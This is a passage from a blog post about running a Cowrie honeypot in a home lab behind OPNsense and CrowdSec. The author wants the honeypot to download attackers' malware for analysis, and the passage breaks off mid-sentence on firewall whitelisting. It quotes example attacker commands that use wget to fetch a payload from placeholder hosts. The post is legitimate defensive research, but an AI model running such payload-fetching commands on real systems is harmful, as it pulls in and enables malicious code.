I Made My Honeypot Download Malware.

TL;DR: I wanted Cowrie to actually download the malware attackers were throwing at it. Unfortunately, my security controls had other ideas. I found a way around the problem without weakening my OPNsense rules. Table of Contents The problem: my honeypot was too well protected Why I didn't just whitelist Cowrie The solution: Cowrie goes Tor The Docker Compose Now the download actually happens And now things get interesting One important disclaimer The problem: my honeypot was too well protected I've been playing around with Cowrie in my home lab, running it in Docker on Proxmox behind OPNsense. The goal is pretty simple: Let attackers do stupid things to a machine that exists specifically so attackers can do stupid things to it. I wanted Cowrie to capture malware that attackers were trying to download, then automatically send useful bits of it to VirusTotal and Urlhaus. There was just one small problem. My firewall was doing its job. Which, in this particular case, was extremely inconvenient. My network looks roughly like this: Internet | v OPNsense | +-- CrowdSec | v Proxmox | +-- Cowrie OPNsense is doing the usual sensible security things, including CrowdSec blocking known malicious destinations. Normally: Excellent. Five stars. Keep doing that. But Cowrie is not a normal server. If an attacker gets a shell and runs: wget http://some-sketchy-ip/payload I don't want OPNsense to say: "Absolutely not, that's malware." I want Cowrie to say: "Oh? You're downloading something? By all means. Please continue." Because that's literally why the honeypot exists. Instead, I was getting something like: Attacker | v Cowrie | v wget http://evil.example/payload | v OPNsense | v NOPE The malicious URL was known to CrowdSec, so the outbound connection was blocked. No download. No sample. No analysis. Just a very secure honeypot sitting there politely refusing to get hacked. Not exactly what I ordered. Why I didn't just whitelist Cowrie The obvious solution is to create a firewall rul